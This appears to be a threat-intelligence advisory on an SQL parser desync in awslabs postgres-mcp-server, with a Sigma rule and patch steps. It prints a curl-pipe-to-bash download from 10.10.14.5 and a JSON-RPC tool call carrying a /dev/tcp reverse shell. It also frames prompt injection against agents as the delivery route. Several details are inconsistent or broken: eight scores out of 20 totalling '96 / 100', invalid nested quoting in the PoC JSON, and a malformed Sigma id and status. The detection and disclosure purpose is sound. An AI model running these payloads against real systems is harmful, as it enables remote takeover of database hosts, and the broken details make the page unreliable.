Skip to content
Hermes Codex

CVE-2026-87911: awslabs postgres-mcp-server SQL Parser Desync to Command Injection

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: awslabs postgres-mcp-server (awslabs.postgres_mcp_server.sql_validator)
Confidence: 98%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 19 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 18 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 9.6 (Critical). Hermes Threat Score assigns 96 (CRITICAL). Because Model Context Protocol (MCP) servers are deployed as autonomous tool providers for LLM agents, an unauthenticated prompt injection or agent tool call that achieves OS command injection on the database host grants full system control.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-87911: awslabs postgres-mcp-server SQL Parser Desync to Command InjectionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTAWS MCP Server Suite
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in AWS MCP Server Suite documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Matrix

Section titled “1. Technical Context & Affected Matrix”
ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-87911Frontier AI / MCP Threat Landscape
Target Productawslabs postgres-mcp-serverAmazon Web Services / MCP Community
Subsystem / Componentawslabs.postgres_mcp_server.sql_validatorAutonomous agent tool & orchestration stack
Flaw TypeCWE-78: OS Command Injection / CWE-89: SQL InjectionExecution and integrity violation
Affected Versionsall versions prior to 1.1.7Production deployments
Remediation Release1.1.7Immediate upgrade required

2. In-Depth Technical Decomposition

Section titled “2. In-Depth Technical Decomposition”

SQL Parser Desynchronization Mechanics

Section titled “SQL Parser Desynchronization Mechanics”

The server regex validator checked queries with: re.match(r"^\s*SELECT\b", query, re.IGNORECASE)

An attacker crafts a query where a valid SELECT precedes a nested dollar-quoted block or multi-statement payload:

SELECT $$safe_block$$; COPY (SELECT '') TO PROGRAM 'curl -s http://10.10.14.5:8000/rev | bash'; --

Because the regex only checked the start of the string without enforcing single-statement boundaries or handling PostgreSQL dollar-quote lexical scanners, the MCP server passed the query directly to asyncpg.execute(), executing the command injection on the PostgreSQL container host.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-87911 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+


   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [awslabs postgres-mcp-server]
          │
          ├───► 1. Ingestion via awslabs.postgres_mcp_server.sql_validator
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

Section titled “3. Proof of Concept & Payload Dissection”
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "execute_sql",
    "arguments": {
      "query": "SELECT $$validation_test$$; COPY (SELECT 'exfil') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'; --"
    }
  }
}

4. Detection Engineering & Telemetry

Section titled “4. Detection Engineering & Telemetry”

Sigma Detection Rule

Section titled “Sigma Detection Rule”
title: PostgreSQL MCP Server COPY TO PROGRAM Execution
id: 87911c01-e911-4a1b-9f22-mcppostgrescmd01
status: high
description: Detects invocation of PostgreSQL COPY TO PROGRAM commands through MCP database server tools.
author: Hermes Codex Detection Engineering
date: 2026-09-06
logsource:
  product: postgresql
  service: query_log
detection:
  selection:
    statement|contains:
      - 'COPY'
      - 'TO PROGRAM'
  condition: selection
level: critical

5. Remediation & Operational Playbook

Section titled “5. Remediation & Operational Playbook”
  1. Apply Software Patches: Upgrade awslabs postgres-mcp-server to version(s) 1.1.7 immediately.
  2. Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
  3. Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
  4. Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.

6. References & Advisories

Section titled “6. References & Advisories”